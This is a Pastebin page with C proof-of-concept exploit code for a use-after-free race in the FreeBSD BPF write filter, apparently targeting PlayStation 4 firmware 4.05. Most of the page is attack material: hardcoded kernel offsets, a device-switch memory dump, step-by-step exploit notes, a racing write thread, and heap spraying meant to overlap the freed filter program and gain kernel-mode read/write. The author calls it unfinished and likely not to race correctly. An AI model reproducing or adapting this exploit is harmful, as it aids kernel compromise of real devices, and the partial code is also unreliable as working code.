cloverleafswag3

freebsd bpfwrite bpf_filter uaf race

Feb 3rd, 2018
7,895
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 5.89 KB | None | 0 0
  1. /* bpfwrite race condition */
  2. /* discovered by @qwertyoruiopz */
  3. /* some bullshit from golden */
  4.  
  5. /*
  6. https://gist.github.com/msantos/939154/eaeba01ba40cb137322ba1ea6d49a1b15580fdab
  7.  
  8. https://github.com/freebsd/freebsd/blob/master/sys/net/bpf.c
  9. https://github.com/freebsd/freebsd/blob/master/sys/net/bpf_filter.c
  10. */
  11.  
  12. /*
  13. 4.05 offsets
  14.  
  15. bpf_cdevsw 0x186F640
  16. bpf_drvinit 0x317140
  17.  
  18. bpfopen 0x3171B0
  19. bpf_dtor 0x318D80
  20. bpfwrite 0x3175D0
  21. bpfread 0x317290
  22. bpf_filter 0x224580
  23. bpf_validate 0x224D60
  24.  
  25. devfs_set_cdevpriv 0x383F20
  26. devfs_get_cdevpriv 0x383EE0
  27.  
  28. bpfioctl 0x317A40
  29. - BIOCSETIF     0x8020426C (calls bpf_setif)
  30. - BIOCSETF      0x80104267 (inlined)
  31. - BIOCSETWF     0x8010427B (inlined)
  32.  
  33. 1. call bpfioctl with BIOCSETWF and a valid program
  34. 2. write to the bpf device.
  35. 3. call bpfioctl with BIOCSETWF and a valid program. This will free the old program while it is executing.
  36. 4. allocate heap data with instructions to read/write in stack memory
  37. 5. ????
  38. 6. profit
  39.  
  40. once we can manipulate the data in the program, we can write an invalid program that bpf_validate would otherwise throw away.
  41. case BPF_ST:
  42.             mem[pc->k] = A;
  43.             continue;
  44.            
  45. case BPF_LD|BPF_MEM:
  46.             A = mem[pc->k];
  47.             continue;
  48.  
  49. */
  50.  
  51. /*
  52. kernbase 0xFFFFFFFF8A63C000
  53.  
  54. bpf_cdevsw(0xFFFFFFFF8BEAB640):
  55. 09 20 12 17 00 00 00 80
  56. 50 62 DC 8A FF FF FF FF
  57. B0 31 95 8A FF FF FF FF
  58. 00 00 00 00 00 00 00 00
  59. C0 11 83 8A FF FF FF FF
  60. 90 32 95 8A FF FF FF FF
  61. D0 35 95 8A FF FF FF FF
  62. 40 3A 95 8A FF FF FF FF
  63. 30 4B 95 8A FF FF FF FF
  64. 50 30 83 8A FF FF FF FF
  65.  
  66. 0x8000000017122009
  67. 0xFFFFFFFF8ADC6250 (offset: 0x78A250)   "bpf"
  68. 0xFFFFFFFF8A9531B0 (offset: 0x3171B0)   bpfopen
  69. 0x0000000000000000                      d_fdopen
  70. 0xFFFFFFFF8A8311C0 (offset: 0x1F51C0)   d_close
  71. 0xFFFFFFFF8A953290 (offset: 0x317290)   bpfread
  72. 0xFFFFFFFF8A9535D0 (offset: 0x3175D0)   bpfwrite
  73. 0xFFFFFFFF8A953A40 (offset: 0x317A40)   bpfioctl
  74. 0xFFFFFFFF8A954B30 (offset: 0x318B30)   bpfpoll d_poll
  75. 0xFFFFFFFF8A833050 (offset: 0x1F7050)   d_mmap
  76.  
  77. */
  78.  
  79. #define BIOCSETWF 0x8010427B
  80.  
  81. __attribute__((aligned (1))) struct bpf_insn {
  82.     uint16_t code;
  83.     uint8_t jt;
  84.     uint8_t jf;
  85.     uint32_t k;
  86. };
  87. // needs to by 8 bytes
  88.  
  89. struct bpf_program {
  90.     int bf_len;
  91.     struct bpf_insn *bf_insns; // needs to be at offset 0x8
  92. };
  93.  
  94. int bpf_device() {
  95.     int fd = -1;
  96.     char dev[32];
  97.    
  98.     fd = open("/dev/bpf", O_RDWR, 00700);
  99.     if (fd > -1) {
  100.         return fd;
  101.     }
  102.    
  103.     for(int i = 0; i < 255; i++) {
  104.         snprintf(dev, sizeof(dev), "/dev/bpf%u", i);
  105.  
  106.         fd = open(dev, O_RDWR, 00700);
  107.         if (fd > -1) {
  108.             return fd;
  109.         }
  110.     }
  111.  
  112.     return -1;
  113. }
  114.  
  115. int bpfgo = 0;
  116. int bpfend = 0;
  117. void *bpfwrite_thread(void *vfd) {
  118.     // write and activate bpfwrite -> bpf_filter
  119.     int fd =(int)vfd;
  120.    
  121.     while(!bpfend) {
  122.         // wait until we should go
  123.         while(!bpfgo && !bpfend) ;
  124.        
  125.         char pack[32];
  126.         memset(pack, 0x41414141, 32);
  127.        
  128.         write(fd, pack, 32);
  129.        
  130.         bpfgo = 0;
  131.     }
  132.    
  133.     return 0;
  134. }
  135.  
  136. void bpfpoc() {
  137.     int fd = bpf_device();
  138.    
  139.     // setup a valid program
  140.     // this is unique since it has a specific size that will allocated in a specific zone
  141.     // (making it easier to allocate an object overlapping this one, also gives more time for bpf_filter to execute)
  142.     // I used bpfc to compile a simple program
  143.     struct bpf_program fp;
  144.     struct bpf_insn insns[] = {
  145.         // there are 31 instructions here (31 * sizeof(struct bpf_insn)) = 248
  146.         // size of kernel malloc would be
  147.         { 0x0, 0, 0, 0x00000539 }, // ld #1337
  148.         { 0x0, 0, 0, 0x00000539 },
  149.         { 0x0, 0, 0, 0x00000539 },
  150.         { 0x0, 0, 0, 0x00000539 },
  151.         { 0x0, 0, 0, 0x00000539 },
  152.         { 0x0, 0, 0, 0x00000539 },
  153.         { 0x0, 0, 0, 0x00000539 },
  154.         { 0x0, 0, 0, 0x00000539 },
  155.         { 0x0, 0, 0, 0x00000539 },
  156.         { 0x0, 0, 0, 0x00000539 },
  157.         { 0x0, 0, 0, 0x00000539 },
  158.         { 0x0, 0, 0, 0x00000539 },
  159.         { 0x0, 0, 0, 0x00000539 },
  160.         { 0x0, 0, 0, 0x00000539 },
  161.         { 0x0, 0, 0, 0x00000539 },
  162.         { 0x0, 0, 0, 0x00000539 },
  163.         { 0x0, 0, 0, 0x00000539 },
  164.         { 0x0, 0, 0, 0x00000539 },
  165.         { 0x0, 0, 0, 0x00000539 },
  166.         { 0x0, 0, 0, 0x00000539 },
  167.         { 0x0, 0, 0, 0x00000539 },
  168.         { 0x0, 0, 0, 0x00000539 },
  169.         { 0x0, 0, 0, 0x00000539 },
  170.         { 0x0, 0, 0, 0x00000539 },
  171.         { 0x0, 0, 0, 0x00000539 },
  172.         { 0x0, 0, 0, 0x00000539 },
  173.         { 0x0, 0, 0, 0x00000539 },
  174.         { 0x0, 0, 0, 0x00000539 },
  175.         { 0x0, 0, 0, 0x00000539 },
  176.         { 0x0, 0, 0, 0x00000539 },
  177.         { 0x6, 0, 0, 0x00000000 }, // ret #0
  178.     };
  179.    
  180.     fp.bf_len = sizeof(insns) / sizeof(struct bpf_insn);
  181.     fp.bf_insns = &insns[0];
  182.    
  183.     // set this program
  184.     ioctl(fd, BIOCSETWF, &fp);
  185.    
  186.     // create thread that we can command to write to the bpf device
  187.     ScePthread thread;
  188.     scePthreadCreate(&thread, NULL, bpfwrite_thread, (void *)fd, "bpfpoc");
  189.    
  190.     // this poc gets turned into a much harder one since bpf code always halts in finite time, so we must race the bpf_filter function
  191.     // hopefully we can race the bpfwrite function after we free the program, so it will use after free
  192.     // we need to allocate a heap object that overlaps the memory that use to be at (struct bpf_insn)
  193.     // (allocated by bpfioctl and freed by our second call to bpfioctl, but the pointer is still being used by bpf_filter)
  194.     // create a malicious filter program and alter the overlapping heap object with this data
  195.     // read/write stack values, and do turing complete programming in kernel mode
  196.    
  197.     // this probably will not work, and will not race correctly, you may need to multi thread
  198.     // TODO: timing corrections
  199.     while(1) {
  200.         bpfgo = 1;
  201.        
  202.         // free the old program
  203.         ioctl(fd, BIOCSETWF, &fp);
  204.        
  205.         // spray the heap
  206.         // size = ((unsigned int)ioctl_num >> 16) & 0x1FFF;
  207.         char object[248];
  208.         memset(object, 0x41414141, 248);
  209.         for(int i = 0; i < 512; i++) {
  210.             ioctl(0xFFFFFFFF, 0x80F80000, object);
  211.         }
  212.        
  213.         // now we may or may not have overlapped said bpf_insn allocation that bpf_filter is using
  214.        
  215.         // need a way to check if we are good
  216.         break;
  217.     }
  218.    
  219.    
  220.     // end thread and clean up
  221.     bpfend = 1;
  222.     scePthreadJoin(thread, NULL);
  223.    
  224.     close(fd);
  225. }
Add Comment
Please, Sign In to add comment